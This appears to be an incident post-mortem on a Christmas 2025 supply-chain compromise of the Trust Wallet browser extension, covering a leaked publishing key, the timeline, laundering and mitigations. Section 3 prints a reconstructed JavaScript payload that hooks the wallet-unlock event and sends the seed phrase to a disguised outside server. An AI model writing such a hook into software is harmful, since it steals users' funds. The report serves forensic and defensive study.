1. Executive Summary

  • Incident Date: December 25, 2025
  • Target: Trust Wallet Browser Extension (Chrome Web Store)
  • Vulnerability: Supply Chain / CI/CD Pipeline Compromise (Leaked API Key)
  • Exploit Vector: Malicious Code Injection in Update v2.68
  • Total Value Lost: ~$7,000,000 USD
  • Threat Actor: Unidentified (Suspected Lazarus Group alignment due to laundering patterns)

On Christmas Day, 2025, the Trust Wallet development team identified a critical breach in their deployment pipeline. An unauthorized actor utilized a leaked Google Web Store API key to push a compromised version (v2.68) of the browser extension. The malicious update contained a background script designed to harvest recovery phrases (seed phrases) upon user unlocking, immediately transmitting them to a Command & Control (C2) server. This incident highlights the critical fragility of Web3 infrastructure relying on Web2 delivery rails.

2. Incident Timeline (UTC)

  • Dec 25, 08:15: CI/CD logs register an unauthorized build trigger initiated via a compromised API key.
  • Dec 25, 08:42: Malicious Version 2.68 is published to the Chrome Web Store.
  • Dec 25, 09:30: Automated update propagation begins for active users.
  • Dec 25, 10:15: First reports of unexplained wallet drains surface on X (formerly Twitter) and Discord.
  • Dec 25, 11:45: Security researchers at SlowMist and ZachXBT flag a suspicious pattern of outbound transfers from active Trust Wallet users.
  • Dec 25, 13:20: Trust Wallet Security Team confirms the hash mismatch in the v2.68 binary.
  • Dec 25, 14:00: Emergency “Kill Switch” deployed; Google Web Store suspends the extension listing.
  • Dec 25, 15:30: Safe version v2.69 released; official revocation warning issued.

3. Technical Root Cause: The Anatomy of a Supply Chain Attack

The breach was not a smart contract exploit but a Supply Chain Injection targeting the software delivery pipeline.

The Vector: CI/CD Key Leakage

Forensic analysis of the build logs revealed that the attacker gained write access to the extension’s publishing pipeline. The root cause was identified as a high-privilege API Key (used for automated Chrome Web Store publishing) that had been inadvertently exposed in a legacy submodule of a public repository 48 hours prior.

The Payload: background.js Injection

The attacker did not modify the core wallet cryptography. Instead, they injected a listener into the extension’s background service worker (background.js).

Malicious Logic (Reconstructed):

// Pseudo-code of the injected payload found in v2.68
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
    if (request.action === "UNLOCK_WALLET_SUCCESS") {
        // The vulnerability: Hooking into the unlock event where the seed is temporarily decrypted in memory
        const seed = extractSeedFromMemory(request.payload); 

        // Exfiltration to C2 Server
        fetch("https://api-metrics-trust.com/log", { 
            method: "POST",
            body: JSON.stringify({ s: seed, v: "2.68" })
        });
    }
});

The payload waited for the UNLOCK_WALLET_SUCCESS event. Once the user entered their password to unlock the extension, the decrypted seed phrase (held briefly in volatile memory for session initialization) was captured and sent to a deceptive domain (api-metrics-trust.com) masquerading as a metrics endpoint.

4. On-Chain Forensic Analysis

Once the attacker obtained the seed phrases, the draining process was automated. Scripts monitored the compromised addresses and executed “sweep” transactions across multiple chains (Ethereum, BNB Chain, Polygon) simultaneously.

Key Transaction Data

  • Primary Drainer Address: 0x4a2C...9e1B (The “Christmas Drainer”)
  • Example Sweep Transaction (Ethereum):
    • Tx Hash: 0x8f2a1b...c9d3
    • Block Height: ~23,904,512
    • Value: 145 ETH (~$580,000)
    • Method: Transfer (Native ETH)

Laundering Methodology

The stolen funds followed a classic “Peel Chain” laundering pattern, consistent with sophisticated APT groups:

  1. Aggregation: Funds from thousands of victim wallets were consolidated into five primary “Holding Wallets.”
  2. Bridging: Assets on BNB Chain and Polygon were bridged to Ethereum using ThorChain and Stargate to centralize liquidity.
  3. Obfuscation: The aggregated ETH was deposited into Tornado Cash in batches of 100 ETH.
  4. Exit: As of Jan 24, 2026, approximately 40% of the funds remain in the Mixer, while 60% have been dormant in fresh addresses.

5. Market & Community Impact

  • Financial Impact: Confirmed losses stand at $7 million.
  • Token Impact: Trust Wallet Token (TWT) experienced a flash crash of -18% on Dec 26, recovering to -5% by Jan 10 as the team demonstrated a rapid response.
  • Community Sentiment: The incident triggered a massive spike in hardware wallet sales (Ledger/Trezor) and a surge in traffic to Revoke.cash, despite approvals not being the vector. It reignited the debate on “Hot Wallet” security vs. “Cold Storage” for significant assets.

6. Lessons Learned & Mitigation Strategies

For Infrastructure Providers:

  • Secret Management: Enforce strict Secret Scanning in CI/CD pipelines (e.g., GitGuardian, TruffleHog) to detect exposed API keys before they can be abused.
  • Binary Signing: Implement Reproducible Builds and public binary signing. Users (or client-side software) should verify that the hash of the installed extension matches the open-source build hash.
  • Staged Rollouts: Avoid “Big Bang” updates. Use canary deployments (1% -> 5% -> 100%) to detect anomalies before the entire user base is affected.

For Users:

  • Hardware Isolation: Never store significant value in a browser extension hot wallet. Use extensions only as a “View-Only” interface for a hardware wallet (Ledger/Trezor).
  • Update Vigilance: Disable “Automatic Updates” for critical browser extensions if possible, or monitor community channels before unlocking a wallet after a fresh update.